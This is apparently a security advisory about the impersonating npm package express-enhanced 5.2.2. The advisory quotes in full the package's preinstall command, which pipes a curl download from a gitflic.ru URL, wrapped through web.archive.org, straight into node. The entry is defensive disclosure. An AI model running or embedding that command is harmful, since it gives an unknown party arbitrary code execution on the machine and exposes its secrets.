express-enhanced

MAL-2026-17489

Malicious code in express-enhanced (npm)

Details


---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)
[email protected] impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.

Compromised versions (1)

5.2.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.